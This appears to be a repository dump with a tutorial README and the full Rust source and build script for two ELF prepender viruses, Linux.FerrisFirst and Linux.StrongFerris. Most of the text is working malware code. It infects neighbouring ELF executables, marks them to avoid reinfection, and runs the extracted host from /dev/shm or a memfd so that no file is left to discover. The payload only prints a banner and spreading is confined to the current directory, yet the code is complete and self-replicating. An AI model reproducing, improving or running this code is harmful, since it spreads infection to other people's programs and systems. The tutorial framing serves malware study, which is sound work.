Ignore Result that are `Err` 97 | Err(_) => return, 98 | }; 99 | 100 | for entry in entries { 101 | let mut contents = match fs::read(entry.path()) { 102 | Ok(v) => v, 103 | Err(_) => continue, // Skip if unable to read (bad permissions etc) 104 | }; 105 | 106 | // ... 107 | } 108 | } 109 | ``` 110 | 111 | Now, we must decide how to find suitible hosts. The goal is to infect files that have an ELF signature, but do not have an infection mark. The infection mark is a series of bytes present in the virus binary (but not in the source code: `\\xff` != `0xff`) and so the virus can avoid (re)infecting itself. 112 | 113 | ```rust 114 | const ELF_MAGIC: &[u8; 4] = &[0x7f, 0x45, 0x4c, 0x46]; 115 | const INFECTION_MARK: &[u8; 8] = b"tmp.out\xff"; 116 | 117 | /// Checks whether `bytes` starts with an ELF signature 118 | fn is_elf(bytes: &[u8]) -> bool { 119 | // ... 120 | } 121 | 122 | /// Checks whether `bytes` contains the infection mark 123 | fn is_infected(bytes: &[u8]) -> bool { 124 | // ... 125 | } 126 | 127 | /// Finds and infects other ELF files 128 | fn spread_and_infect(dir: &str, virus: &[u8]) { 129 | // ... 130 | 131 | for entry in entries { 132 | // ... 133 | 134 | // Skip if this is not an ELF file 135 | if !is_elf(&contents) { continue; } 136 | 137 | // Skip if this file is already infected 138 | if is_infected(&contents) { continue; } 139 | 140 | // Infect this file 141 | let mut new_file = vec![]; 142 | new_file.extend_from_slice(&virus); 143 | new_file.extend_from_slice(&contents); 144 | let _ = fs::write(entry.path(), &new_file); // Ignore `Err`s 145 | } 146 | } 147 | ``` 148 | 149 | The first time the virus is run, it's okay to prepend the entire virus binary onto the host, but from that point forward, `virus` will include not just the virus code, but its host's code as well. In Rust, it is tricky to determine exactly what portion of the code should be copied. This sample relies on a `VIRUS_SIZE` constant that needs to be adjusted everytime the binary is recompiled (more on this later); `main` is updated to restrict the code passed to `spread_and_infect` to only the actual virus code. 150 | 151 | ```rust 152 | const VIRUS_SIZE: usize = 0; // Placeholder value 153 | 154 | fn main() { 155 | let my_name = &env::args().collect::>()[0]; 156 | if let Ok(my_code) = fs::read(my_name) { 157 | // Spread and infect neighboring ELFs 158 | spread_and_infect(".", &my_code[..VIRUS_SIZE]); 159 | } 160 | } 161 | ``` 162 | 163 | With the `spread_and_infect` function completed, this virus can now infect neighboring ELF files. An infected ELF file will then try to infect its own neighbors, and the spread continues. However, it will not yet execute the host binary; we will implement `execute_host` next. 164 | 165 | ## Executing the host binary 166 | 167 | There are two scenarios here. The original virus binary does not have a host, so this function should be skipped in that case. Otherwise, there is a host which can be extracted and ran. Note that the same will apply to `virus_main`. 168 | 169 | It's also important to consider the scenario where multiple infected binaries are run at the same time. For example, one infected program may be in a loop, when another infected program is run. To avoid conflicts when this happens, hosts should be extracted to their own unique paths - this sample makes use of the infected binary's name for this. 170 | 171 | `execute_host` is passed the following arguments: 172 | - `name`: the name of the infected binary 173 | - `contents`: the ELF contents of the host 174 | - `args`: the CLI args to forward to the host minus the (infected) program name 175 | 176 | ```rust 177 | /// Code that is executed when an infected file is ran 178 | fn virus_main() {} 179 | 180 | /// Extracts and execute the host code 181 | fn execute_host(name: &String, contents: &[u8], args: &Vec) {} 182 | 183 | fn main() { 184 | let args: Vec = env::args().collect(); 185 | let my_name = &args[0]; 186 | if let Ok(my_code) = fs::read(my_name) { 187 | // Spread and infect neighboring ELFs 188 | spread_and_infect(".", &my_code[..VIRUS_SIZE]); 189 | 190 | // Run the virus if there is a host attached 191 | if my_code.len() > VIRUS_SIZE { 192 | virus_main(); 193 | execute_host(&my_name, &my_code[VIRUS_SIZE..], &args[1..]); 194 | } 195 | } 196 | } 197 | ``` 198 | 199 | `execute_host` simply creates a new file, writes the host binary, sets permissions and executes. This way, the host's original behavior is replicated. The `BASE_PATH` below is set in `/dev/shm` to avoid actual writes to disk (instead the file will live in memory). Additionally, the file is cleaned up after execution. 200 | 201 | ```rust 202 | use std::process::Command; 203 | use std::os::unix::fs::PermissionsExt; 204 | 205 | const BASE_DIR: &str = "/dev/shm/.ferris_first/"; 206 | 207 | /// Extracts and execute the host code 208 | fn execute_host(name: &String, contents: &[u8], args: &[String]) { 209 | // Will not fail since we know name is a valid path 210 | let canon = fs::canonicalize(name).unwrap(); 211 | let mut path = PathBuf::from(BASE_DIR); 212 | path.push(canon.strip_prefix("/").unwrap()); 213 | let dir = path.parent().unwrap(); 214 | let perms = fs::Permissions::from_mode(0o700); 215 | 216 | // Create parent directory, file, and set permissions 217 | if let Err(_) = fs::create_dir_all(dir) { return; } 218 | if let Err(_) = fs::write(&path, &contents) { return; } 219 | if let Err(_) = fs::set_permissions(&path, perms) { return; } 220 | 221 | let _ = Command::new(&path).args(args).status(); // Discard Result 222 | if let Err(_) = fs::remove_file(&path) { return; } 223 | } 224 | ``` 225 | 226 | ## The virus payload 227 | 228 | The virus should work now, but it won't tell us it's running. We can add code to `virus_main` to do just that. Remember in `main` we set `virus_main` to execute before `execute_host`! Here is a non-destructive payload that prints a cool header to stdout when an infected binary is ran. 229 | 230 | ```rust 231 | /// Code that is executed when an infected file is ran 232 | fn virus_main() { 233 | println!("\x1b[92m{}\x1b[0m", ".: tmp.out :."); 234 | } 235 | ``` 236 | 237 | ### Patching the `VIRUS_SIZE` constant 238 | 239 | As mentioned previously, setting a valid `VIRUS_SIZE` is tricky in Rust. I opted to write a small shell script `build.sh` that performs the following: 240 | 241 | 1. Build the virus once and get the output file size 242 | 2. Patch the virus source code with the correct size 243 | 3. Rebuild the virus 244 | 245 | ```sh 246 | #!/bin/sh 247 | 248 | # The line in source code to match 249 | DECL='const VIRUS_SIZE: usize = ' 250 | 251 | # Compiler options: no fancy panic, link time optimization, max optimization, no debug_info, strip 252 | OPTS='+nightly -C panic=abort -C lto=y -C opt-level=z -C debuginfo=0 -Z strip=symbols' 253 | 254 | # Compile virus once, compress with upx, and get final size 255 | rustc $OPTS ferris-first.rs -o Linux.FerrisFirst || exit 256 | SIZE=`wc Linux.FerrisFirst | awk '{print $3}'` 257 | 258 | # Patch `VIRUS_SIZE` in the source code and recompile 259 | sed -i -s "s/${DECL}.*;/${DECL}${SIZE};/g" ferris-first.rs 260 | rustc $OPTS ferris-first.rs -o Linux.FerrisFirst 261 | ``` 262 | 263 | Building the virus twice is a little bit expensive but it's only required once and I think it's perfectly okay for a demo. 264 | 265 | ## Conclusion 266 | 267 | I hope this document was helpful. I myself learned a lot while writing this. Huge thanks to TMZ, sblip, and others at tmp.out for teaching and motivating me to follow through with this project <3 268 | -------------------------------------------------------------------------------- /viruses/linux-ferrisfirst/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # The line in source code to match 4 | DECL='const VIRUS_SIZE: usize = ' 5 | 6 | # Compiler options: no fancy panic, link time optimization, max optimization, no debug_info, strip 7 | OPTS='+nightly -C panic=abort -C lto=y -C opt-level=z -C debuginfo=0 -Z strip=symbols' 8 | 9 | # Compile virus once, compress with upx, and get final size 10 | rustc $OPTS ferris-first.rs -o Linux.FerrisFirst || exit 11 | SIZE=`wc Linux.FerrisFirst | awk '{print $3}'` 12 | 13 | # Patch `VIRUS_SIZE` in the source code and recompile 14 | sed -i -s "s/${DECL}.*;/${DECL}${SIZE};/g" ferris-first.rs 15 | rustc $OPTS ferris-first.rs -o Linux.FerrisFirst 16 | -------------------------------------------------------------------------------- /viruses/linux-ferrisfirst/ferris-first.rs: -------------------------------------------------------------------------------- 1 | //! Linux.FerrisFirst is a simple ELF prepender virus by Kyo (2021) 2 | //! An accompanying README.md is also provided in this repository. 3 | //! 4 | //! This code is shared in the spirit of free information. I am not responsible 5 | //! for how you apply this knowledge or code. 6 | //! 7 | //! This Rust virus will build on standard nightly Rust with no additional 8 | //! dependencies, but patching the code may be necessary for offsets to work. 9 | //! This patching is handled automatically but `build.sh` in this repository. 10 | use std::{env, fs}; 11 | use std::path::PathBuf; 12 | use std::process::Command; 13 | use std::os::unix::fs::PermissionsExt; 14 | 15 | const BASE_DIR: &str = "/dev/shm/.ferris_first/"; 16 | const ELF_MAGIC: &[u8; 4] = &[0x7f, 0x45, 0x4c, 0x46]; 17 | const INFECTION_MARK: &[u8; 8] = b"tmp.out\xff"; 18 | const VIRUS_SIZE: usize = 289000; // Placeholder value 19 | 20 | fn is_elf(bytes: &[u8]) -> bool { 21 | &bytes[..4] == ELF_MAGIC 22 | } 23 | 24 | fn is_infected(bytes: &[u8]) -> bool { 25 | let mut cur = 0; 26 | for &byte in bytes { 27 | if byte == INFECTION_MARK[cur] { 28 | cur += 1; 29 | } else { 30 | cur = 0; 31 | } 32 | if cur == INFECTION_MARK.len() { 33 | return true; 34 | } 35 | } 36 | 37 | false 38 | } 39 | 40 | /// Finds and infects other ELF files 41 | fn spread_and_infect(dir: &str, virus: &[u8]) { 42 | let entries: Vec = match fs::read_dir(dir) { 43 | Ok(v) => v.filter_map(Result::ok).collect(), // Discard `Err`s 44 | Err(_) => return, 45 | }; 46 | 47 | for entry in entries { 48 | let contents = match fs::read(entry.path()) { 49 | Ok(v) => v, 50 | Err(_) => continue, // Skip if unable to read (bad permissions etc) 51 | }; 52 | 53 | // Skip if this is not an ELF file 54 | if !is_elf(&contents) { continue; } 55 | 56 | // Skip if this file is already infected 57 | if is_infected(&contents) { continue; } 58 | 59 | // Infect this file ignoring errors 60 | let mut new_file = vec![]; 61 | new_file.extend_from_slice(&virus); 62 | new_file.extend_from_slice(&contents); 63 | let _ = fs::write(entry.path(), &new_file); 64 | } 65 | } 66 | 67 | /// Code that is executed when an infected file is ran 68 | fn virus_main() { 69 | println!("\x1b[92m{}\x1b[0m", ".: tmp.out :."); 70 | } 71 | 72 | /// Extracts and execute the host code 73 | fn execute_host(name: &String, contents: &[u8], args: &[String]) { 74 | // Will not fail since we know name is a valid path 75 | let canon = fs::canonicalize(name).unwrap(); 76 | let mut path = PathBuf::from(BASE_DIR); 77 | path.push(canon.strip_prefix("/").unwrap()); 78 | let dir = path.parent().unwrap(); 79 | let perms = fs::Permissions::from_mode(0o700); 80 | 81 | // Create parent directory, file, and set permissions 82 | if let Err(_) = fs::create_dir_all(dir) { return; } 83 | if let Err(_) = fs::write(&path, &contents) { return; } 84 | if let Err(_) = fs::set_permissions(&path, perms) { return; } 85 | 86 | let _ = Command::new(&path).args(args).status(); // Discard Result 87 | if let Err(_) = fs::remove_file(&path) { return; } 88 | } 89 | 90 | fn main() { 91 | let args: Vec = env::args().collect(); 92 | let my_name = &args[0]; 93 | if let Ok(my_code) = fs::read(my_name) { 94 | // Spread and infect neighboring ELFs 95 | spread_and_infect(".", &my_code[..VIRUS_SIZE]); 96 | 97 | // Run the virus if there is a host attached 98 | if my_code.len() > VIRUS_SIZE { 99 | virus_main(); 100 | execute_host(&my_name, &my_code[VIRUS_SIZE..], &args[1..]); 101 | } 102 | } 103 | } 104 | 105 | -------------------------------------------------------------------------------- /viruses/linux-strongferris/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "linux-strongferris" 3 | version = "0.1.0" 4 | authors = ["d3npa "] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | -------------------------------------------------------------------------------- /viruses/linux-strongferris/src/main.rs: -------------------------------------------------------------------------------- 1 | //! Linux.StrongFerris is a simple ELF prepender virus by Kyo (2021) 2 | //! StrongFerris because Ferris is a small crab but it can carry large 3 | //! binaries on its back! 4 | //! 5 | //! This prepender implements two improvements over Linux.FerrisFirst: 6 | //! 7 | //! Firstly, metadata such as the host size is included when a binary is 8 | //! infected, removing the need for a VIRUS_SIZE constant and two-step 9 | //! compilation. 10 | //! 11 | //! Secondly, this version makes use of the memfd_create(2) Linux system call 12 | //! to create an anonymous file when running the host code, which is not stored 13 | //! and therefore cannot be discovered later on the /dev/shm filesystem. 14 | //! 15 | //! The code is shared in the spirit of free information. I hope this helps 16 | //! others understand how ELF prependers work and some of the techniques they 17 | //! may encounter. 18 | //! 19 | //! The included payload is non-destructive and the spreading is limited to 20 | //! the current working directory. I am not responsible for how you may 21 | //! modify and/or apply this code. 22 | //! 23 | //! Don't be stupid. 24 | use std::{env, fs, mem}; 25 | use std::process::Command; 26 | 27 | const ELF_MAGIC: &[u8; 4] = b"\x7fELF"; 28 | const VIRUS_MAGIC: &[u8; 8] = b"tmp.out\0"; 29 | const HOST_META_SIZE: usize = 16; 30 | 31 | extern "C" { 32 | fn memfd_create(name: *const u8, flags: u32) -> i32; 33 | } 34 | 35 | #[repr(C)] 36 | #[derive(Debug)] 37 | struct HostMeta { 38 | host_size: usize, 39 | magic: [u8; 8], 40 | } 41 | 42 | impl HostMeta { 43 | fn new(host_size: usize) -> HostMeta { 44 | HostMeta { host_size, magic: *VIRUS_MAGIC } 45 | } 46 | 47 | fn serialize(self) -> [u8; HOST_META_SIZE] { 48 | unsafe { mem::transmute(self) } 49 | } 50 | } 51 | 52 | fn is_elf(bytes: &[u8]) -> bool { 53 | &bytes[..4] == ELF_MAGIC 54 | } 55 | 56 | fn is_infected(bytes: &[u8]) -> bool { 57 | let mut cur = 0; 58 | for &byte in bytes { 59 | if byte == VIRUS_MAGIC[cur] { 60 | cur += 1; 61 | } else { 62 | cur = 0; 63 | } 64 | if cur == VIRUS_MAGIC.len() { 65 | return true; 66 | } 67 | } 68 | 69 | false 70 | } 71 | 72 | /// Parse host metadata if present 73 | fn parse_meta(bytes: &[u8]) -> Option { 74 | // Copy last 16 bytes of `bytes` to an array to transmute 75 | let mut copy: [u8; 16] = [0; 16]; 76 | for i in 0..16 { 77 | let j = (bytes.len() - 16) + i; 78 | copy[i] = bytes[j]; 79 | } 80 | 81 | // Check the metadata is valid before returning 82 | let meta: HostMeta = unsafe { mem::transmute(copy) }; 83 | if &meta.magic == VIRUS_MAGIC { 84 | return Some(meta) 85 | } 86 | 87 | None 88 | } 89 | 90 | fn spread_and_infect(dir: &str, virus: &[u8]) { 91 | let entries: Vec = match fs::read_dir(dir) { 92 | Ok(v) => v.filter_map(Result::ok).collect(), // Discard `Err`s 93 | Err(_) => return, 94 | }; 95 | 96 | for entry in entries { 97 | let contents = match fs::read(entry.path()) { 98 | Ok(v) => v, 99 | Err(_) => continue, 100 | }; 101 | 102 | // Skip if this is not an ELF file 103 | if !is_elf(&contents) { continue; } 104 | 105 | // Skip if this file is already infected 106 | if is_infected(&contents) { continue; } 107 | 108 | // Infect this file ignoring errors 109 | let mut new_file: Vec = vec![]; 110 | let meta = HostMeta::new(contents.len()); 111 | new_file.extend_from_slice(&virus); 112 | new_file.extend_from_slice(&contents); 113 | new_file.extend_from_slice(&meta.serialize()); 114 | 115 | let _ = fs::write(entry.path(), &new_file); 116 | } 117 | } 118 | 119 | fn extract_and_run(args: &[String], host: &[u8]) { 120 | let raw_fd = unsafe { memfd_create(b"\0".as_ptr(), 0) }; 121 | let path = format!("/proc/self/fd/{}", raw_fd); 122 | 123 | if fs::write(&path, &host).is_err() { return }; 124 | if Command::new(&path).args(args).status().is_err() { return; } 125 | } 126 | 127 | fn virus_main() { 128 | println!("\x1b[92m.: tmp.out :.\x1b[0m"); 129 | } 130 | 131 | fn main() { 132 | let mut args: Vec = env::args().collect(); 133 | let my_name = args.remove(0); 134 | 135 | let my_bytes = match fs::read(my_name) { 136 | Ok(v) => v.to_vec(), 137 | Err(_) => return, 138 | }; 139 | 140 | if let Some(meta) = parse_meta(&my_bytes) { 141 | // HostMeta was found: this is an infected binary 142 | let meta_offset = my_bytes.len() - HOST_META_SIZE; 143 | let host_offset = meta_offset - meta.host_size; 144 | 145 | let virus = &my_bytes[..host_offset]; 146 | let host = &my_bytes[host_offset..meta_offset]; 147 | 148 | virus_main(); 149 | spread_and_infect(".", &virus); 150 | extract_and_run(&args, &host); 151 | } else { 152 | // There was no HostMeta: this is the original infector 153 | spread_and_infect(".", &my_bytes); 154 | } 155 | } --------------------------------------------------------------------------------